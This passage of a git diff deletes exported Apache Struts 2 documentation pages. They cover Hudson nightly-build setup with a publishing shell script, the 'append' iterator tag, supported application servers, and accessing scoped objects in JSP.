-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-3.jpeg"></span></p>
-
-<p>The "Quiet Period" is not used. This feature can be useful if commits were done in a way that meant that builds should wait a bit before beginning. Since we are only checking SVN once daily for this build, there is no need for a "Quiet Period." The Source Repository points directly to the trunk struts1 directory. Hudson will check out struts1/trunk and create a workspace from there. Moving along - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-4.jpeg"></span></p>
-
-<p>The "local module directory" option allows us to specify a name for the folder that gets checked out. Otherwise, it would be named "trunk," so I went ahead and called it struts1. By checking the "use update" option, the builds will go faster. The downside is that unversioned files may stick around in the workspace. To remedy this, I run the "clean" goal as part of the build. I also leave it up to Hudson to try to figure out which repository browser is in place. Moving along - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-5.jpeg"></span></p>
-
-<p>This screencap shows the triggers that can cause Hudson to launch a build. The first option, when SNAPSHOT dependencies are built, is likely never to launch a build in our case. Currently, we are not using any external SNAPSHOT dependencies, and as far as I know, Hudson would only know if a SNAPSHOT dependency is built if this instance of Hudson builds it. I am leaving it checked as a just-in-case type of trigger. The second option checked, Poll SCM, is likely to be the trigger that f [...]
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-6.jpeg"></span></p>
-
-<p>The Maven configuration is straightforward. The Heap and PermGen settings were added because I have had problems on Linux building without them. We do not use a private repository because we all of our external dependencies are non-SNAPSHOT. The modules are not currently built in parallel, but if the length of time to build becomes an issue, we could try turning this one. Moving along - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-7.jpeg"></span></p>
-
-<p>None of these build settings are currently enabled. In the next few days I will try to enable the notification emails so that successful or failed builds are sent to dev@struts.apache.org. Currently no emails are sent because I have been making frequent changes to the build configurations. Moving along - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts1-8.jpeg"></span></p>
-
-<p>The build lock is setup so that we only perform one struts build at a time on Hudson. Part of this is based on wanting to be a good guest on the Apache Hudson instance, but this lock may also become necessary if we begin building sandbox artifacts. </p>
-
-<p>The struts1 build is an easy-to-follow setup and has run a few times without problems. Next, we will take a look at the struts2 build which is very similar but has configuration added to handle deployment of SNAPSHOTs and the zips from the assembly module. </p>
-
-
-<h2 id="ApacheStrutsPseudo-NightlyBuildsonApacheHudson-BuildSetup-Struts2.x">Build Setup - Struts 2.x</h2>
-
-<p>The Struts 2.x build is very similar to the Struts 1.x builds. There is added logic for deploying SNAPSHOT artifacts and pushing nightly builds from the assembly module. Let's take a look at the configuration - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-1.jpeg"></span></p>
-
-<p>The batch task setup for Hudson allows for tasks to be executed as part of a build. The tasks configured here are the sort of things that would generally be run manually. This facility allows tasks to be run in a way that is tracked. Adding tasks to this section of the configuration does not mark the tasks to be run automatically, it simply makes them available. Further down in the configuration, the tasks are flagged to be run after the build is complete. </p>
-
-<p>The first batch task listed will log into people.apache.org and add the group writeable flag to all the files that this build just deploys. Hudson logs into people.apache.org as 'wesw' because the public ssh key for the hudson user account on the hudson zone is setup in the 'wesw' account on people.apache.org. Since Hudson logs into people.apache.org as 'wesw,' when SNAPSHOT artifacts are deployed, they are owned by 'wesw.' The umask is setup on people.apache.org so that files are cre [...]
-
-<p>The second batch task publishes the nightly files by calling a shell script. The contents of the script are listed below -</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>nightly-2.x.sh</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-#!/bin/bash
-
-TODAY=`date +%Y%m%d%H%M`
-TARGET_BASE=wesw@people.apache.org
-TARGET_DIR=/www/people.apache.org/builds/struts/nightlies/2.x
-TARGET_URL=$TARGET_BASE:$TARGET_DIR
-
-for zip in $(ls struts2/assembly/target/assembly/out/*.zip);
-do
-  BASE_NAME=`basename $zip .zip`
-  scp $zip  $TARGET_URL/$BASE_NAME-$TODAY.zip
-done
-
-ssh $TARGET_BASE "chmod g+w $TARGET_DIR/*.zip"
-</pre>
-</div></div>
-
-<p>The logic in the shell script is copied quite a bit from James Mitchell's previous nightly script (thank James!). Currently, there is no logic for removing old files. I will add this as soon as more than 5 copies of the assembly zips have been published. This script is group writeable, so other developers can make changes to it. If Wes Wannemacher is unavailable, then this script can be copied to another location on the hudson zone and manipulated as necessary. Then, the struts2 job c [...]
-
-<p>Much of the struts2 job's configuration is identical, or only slightly modified (such as pointing to the struts2 folder in SVN) from the struts1 configuration. The next significant differences come up in the Post-build section. Let's take a look - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-2.jpeg"></span></p>
-
-<p>The struts2 job performs the maven clean and install goals, but then leaves the snapshot deployments up to Hudson as a post-build action. This is done because this is a multi-module build. If the deploy goal were specified as part of the build, it is possible that some artifacts would be deployed and other would not. Having hudson do deployments as a post-build action means that deployment will happen as a separate step after the builds complete successfully. Moving along - </p>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image" src="apache-struts-pseudo-nightly-builds-on-apache-hudson.data/struts2-3.jpeg"></span></p>
-
-<p>The tasks configured above are specified here to run as post-build actions. Although these tasks are tied to this build, and will happen with each successful build, they can also be launched manually from within Hudson. The Hudson job configuration allows you to specify tasks from any job, so it would be prudent to make sure scripts and commands operate in a way that they could be launched from any other Apache Struts build job (such as reusing the nightly-2.x.sh script to publish str [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/append.html b/content/docs/append.html
deleted file mode 100644
index db5571b..0000000
--- a/content/docs/append.html
+++ /dev/null
@@ -1,217 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>append</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="append.html">append</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">append</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14241">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14241">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14241">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14241">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14241">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14241">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="append-Description">Description</h2>
-
-<p></p><p>Component for AppendIteratorTag, which jobs is to append iterators to form an
-appended iterator whereby entries goes from one iterator to another after each
-respective iterator is exhausted of entries.</p>
-
-<p></p><p>For example, if there are 3 iterator appended (each iterator has 3 entries),
-the following will be how the appended iterator entries will be arranged:</p>
-
-<p></p><ol><li>First Entry of the First Iterator</li><li>Second Entry of the First Iterator</li><li>Third Entry of the First Iterator</li><li>First Entry of the Second Iterator</li><li>Second Entry of the Second Iterator</li><li>Third Entry of the Second Iterator</li><li>First Entry of the Third Iterator</li><li>Second Entry of the Third Iterator</li><li>Third Entry of the Third ITerator</li></ol>
-
-<h2 id="append-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="append-Example">Example</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class AppendIteratorTagAction extends ActionSupport {
-
- private List myList1;
- private List myList2;
- private List myList3;
-
-
- public String execute() throws Exception {
-
-     myList1 = new ArrayList();
-     myList1.add(&quot;1&quot;);
-     myList1.add(&quot;2&quot;);
-     myList1.add(&quot;3&quot;);
-
-     myList2 = new ArrayList();
-     myList2.add(&quot;a&quot;);
-     myList2.add(&quot;b&quot;);
-     myList2.add(&quot;c&quot;);
-
-     myList3 = new ArrayList();
-     myList3.add(&quot;A&quot;);
-     myList3.add(&quot;B&quot;);
-     myList3.add(&quot;C&quot;);
-
-     return &quot;done&quot;;
- }
-
- public List getMyList1() { return myList1; }
- public List getMyList2() { return myList2; }
- public List getMyList3() { return myList3; }
-
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:append var=&quot;myAppendIterator&quot;&gt;
-     &lt;s:param value=&quot;%{myList1}&quot; /&gt;
-     &lt;s:param value=&quot;%{myList2}&quot; /&gt;
-     &lt;s:param value=&quot;%{myList3}&quot; /&gt;
-&lt;/s:append&gt;
-&lt;s:iterator value=&quot;%{#myAppendIterator}&quot;&gt;
-     &lt;s:property /&gt;
-&lt;/s:iterator&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/application-servers.html b/content/docs/application-servers.html
deleted file mode 100644
index af0463a..0000000
--- a/content/docs/application-servers.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Application Servers</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="application-servers.html">Application Servers</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Application Servers</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14202">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14202">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14202">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14202">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14202">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14202">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework is known to work well with most application servers. If a server's name is linked,&#160; then there may be some extra steps to obtain full functionality.</p><ul><li>Jetty</li><li>JRun</li><li>OC4J</li><li>Orion</li><li>Resin</li><li><a shape="rect" href="sunone-70.html">SunOne 7.0</a></li><li><a shape="rect" href="jboss-5.html">JBoss 5</a></li><li><a shape="rect" href="weblogic.html">WebLogic</a></li><li><a shape="rect" href="weblo [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/application-session-request-objects-in-jsp.html b/content/docs/application-session-request-objects-in-jsp.html
deleted file mode 100644
index 5b7d69d..0000000
--- a/content/docs/application-session-request-objects-in-jsp.html
+++ /dev/null
@@ -1,177 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Application, Session, Request objects in jsp</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="application-session-request-objects-in-jsp.html">Application, Session, Request objects in jsp</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Application, Session, Request objects in jsp</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14052">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14052">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14052">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14052">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14052">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14052">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The application, session and request objects are available from within <code>s</code> tags in jsp wherever ognl can be evaluated. Use the #application, #session, or #request syntax to get the object and access values by their keys using ['key'].</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Accessing scoped variables via &lt;s:property.../&gt; tags</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:property value="#application['foo']"/&gt;
-&lt;s:property value="#session['baz']"/&gt;
-</pre>
-</div></div>
-
-<p>Conversely, if you would like to make Struts 2 objects available to a JSP/JSTL scope, the <code>s:set</code> tag may be used like this:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Expose OGNL 'jobs' value to JSP/JSTL scope 'jobz'</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:set name="jobz" value="jobs" scope="request" /&gt;
-&lt;c:forEach items="${jobz} var="job"&gt;
-...
-&lt;/c:forEach&gt;
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">"Auto-exposure"</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>In Struts 2 OGNL values are automagically exposed to JSP/JSTL; using <code>&lt;s:set.../&gt;</code> as described above may not be necessary.</p></div></div>
-
-<p>A full example below shows a struts variable "jobs" being exposed as "jobz" and being used with jstl and the display tag. </p>
-
